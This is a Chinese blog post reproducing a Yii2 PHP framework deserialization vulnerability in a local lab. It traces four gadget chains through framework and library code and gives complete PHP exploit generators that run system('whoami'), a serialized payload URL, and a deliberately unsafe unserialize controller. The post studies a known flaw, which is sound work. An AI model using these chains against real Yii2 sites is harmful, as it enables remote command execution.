yii2反序列化漏洞复现

发布于 2021-07-06  2017 次阅读


0x00 环境搭建

归档文件下载地址

下载之后解压到web目录,修改 config/web.php 文件,给 cookieValidationKey 配置项添加一个密钥。

当前目录下运行 php yii serve ,默认端口为8080,可通过 --port=port 修改端口号。

0x01 源码分析

准备

反序列化漏洞复现需要一个反序列化的入口点,我们在 controllers 目录下新建一个 SerializeController.php 文件作为反序列化入口。

<?php
namespace app\controllers;


class SerializeController extends \yii\web\Controller
{
    public function actionSerialize($data){
        return unserialize(base64_decode($data));
    }
}

?>
POP链1

出现反序列化漏洞的地方在 /vendor/yiisoft/yii2/db/BatchQueryResult.php 里的一个 __destruct() 函数。对象销毁后调用了 reset() 函数。

public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

跟进查看一下 reset() 函数,这里的 _dataReader 是可控的,于是我们就可以通过控制 _dataReader 的值去访问其他类的 close() 函数。

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

/vendor/yiisoft/yii2/web/DbSession.php 下的 close() 函数

public function close()
{
    if ($this->getIsActive()) {
        // prepare writeCallback fields before session closes
        $this->fields = $this->composeFields();
        YII_DEBUG ? session_write_close() : @session_write_close();
    }
}

会先进行一个判断,$this->getIsActive(),在/vendor/yiisoft/yii2/web/Session.php 下。当判断会话是启用的,而且存在当前会话就会返回true。

public function getIsActive()
{
    return session_status() === PHP_SESSION_ACTIVE;
}

回到刚才,跟进 composeFields() ,这里 $this->writeCallback 可控,所以可以执行 call_user_func($this->writeCallback, $this) ,但是这里参数是 $this ,我们只能调用无参数函数了。

protected function composeFields($id = null, $data = null)
{
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
    if ($id !== null) {
        $fields['id'] = $id;
    }
    if ($data !== null) {
        $fields['data'] = $data;
    }
    return $fields;
}

最后在 /vendor/yiisoft/yii2/rest/IndexAction.php 中的 run() 方法中, checkAccessid 都是可控的,所以就达到到任意执行命令的目的。

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    return $this->prepareDataProvider();
}

最后,总结下来,就是通过 BatchQueryResult.php__destruct() 调用 DbSession.phpclose() 函数,然后调用了 MultiFieldSession.phpcomposeFields() 函数,接着调用 IndexAction.phprun() 函数来达到执行命令的目的。

exp如下:

<?php

namespace yii\db {

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace yii\web {

    use yii\rest\IndexAction;

    class DbSession
    {
        public function __construct()
        {
            $a = new IndexAction();
            $this->writeCallback = [$a, 'run'];;
        }
    }
}

namespace yii\rest {
    class IndexAction
    {
        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace {

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

访问一下 http://localhost:8080/index.php?r=serialize/serialize&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX0 出现执行了 system("whoami"); 的结果,反序列化漏洞复现成功!

POP链2

入口点还是在 /vendor/yiisoft/yii2/db/BatchQueryResult.php 里的 __destruct() 函数。如果这里不去找 close() 函数,而是让某个不存在 close() 函数的类去调用 close() 函数从而触发 __call 方法。

\vendor\fzaninotto\faker\src\Faker\Generator.php 中的 __call 方法,因为 close 是无参方法,所以 __call 中的$methodclose,attributes为空。然后调用 format() 函数。

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

上面 call_user_func_array 中又调用了 getFormatter($formatter) ,由于这里的 $formatters 是可控的,所以这个函数的返回值就是可控的,也就是说可以调用任意函数,但是这里 $arguments 为空,只能调用无参函数,可以用到之前的 /vendor/yiisoft/yii2/rest/IndexAction.php 中的 run() 函数, checkAccessid 都是可控的,可以任意执行命令。

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

总结一下,从 BatchQueryResult.php 里的 __destruct() 函数进入,通过调用不存在 close() 函数的 Generator 类来触发 __call ,然后调用 IndexAction.php 中的 run() 函数来执行命令。

exp如下:

<?php

namespace yii\db {

    use Faker\Generator;
    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }
}

namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }

}

namespace yii\rest {
    class IndexAction
    {
        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace {

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}
POP链3

在2.0.38及以后的版本中,BatchQueryResult 类添加了 __wakeup() 方法,防止对 BatchQueryResult 类进行反序列化,所以之前的pop链都不能用了。

/**
* Unserialization is disabled to prevent remote code execution in case application
* calls unserialize() on user input containing specially crafted string.
* @see CVE-2020-15148
* @since 2.0.38
*/
public function __wakeup()
{
    throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}

RunProcess.php 中也有一个符合条件的 __destruct() 方法。

public function __destruct()
{
    $this->stopProcess();
}

跟进调用的函数,这里的 $this->processes 是可控的,也就是说 $process 也是可控的,之后 $process 调用了 isRunning() ,那么就可以通过他来触发 __call() 方法了,之后就和前面一样了。。

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

exp:

<?php

namespace Codeception\Extension {

    use Faker\Generator;
//    use yii\web\DbSession;

    class RunProcess
    {
        private $processes = [];

        public function __construct()
        {
            $this->processes[] = new Generator();
        }
    }
}

namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;
        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }

}

namespace yii\rest {
    class IndexAction
    {
        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace {

    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}
POP链4

还有一处是以 /vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.phpSwift_KeyCache_DiskKeyCache 类的 __destruct 方法,调用了 $this->clearAll($nsKey);

public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}

跟进看一下 clearAll() 函数,这里虽然没有之前那样调用某个类的函数,但是存在字符串的拼接,且 $this->path$nsKey 可控, 也就是说可以调用 __toString() 方法。

public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir($this->path.'/'.$nsKey)) {
            rmdir($this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}

/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php 下的 __toString() 方法中,有 $this->description->render() ,那么就可以像之前一样调用 __call() 方法了。

public function __toString() : string
{
    return ($this->version ?? '') . ($this->description ? ' ' . $this->description->render() : '');
}

exp:

<?php

namespace {

    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;

    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;

        public function __construct()
        {
            $this->path = new Deprecated();
            $this->keys = array(
                'hello' => 'world'
            );
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags {

    use Faker\Generator;

    class Deprecated
    {
        protected $description;

        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}

namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }

}

namespace yii\rest {
    class IndexAction
    {
        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace {

    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

0x02 小结

跟着大佬的博客复现了一下yii2框架的反序列化漏洞,学到了挺多,yii2的反序列化漏洞主要就是 __destruct()__call()__toString() 等魔术方法的灵活运用,以及 call_user_function 来进行函数调用,继续加油!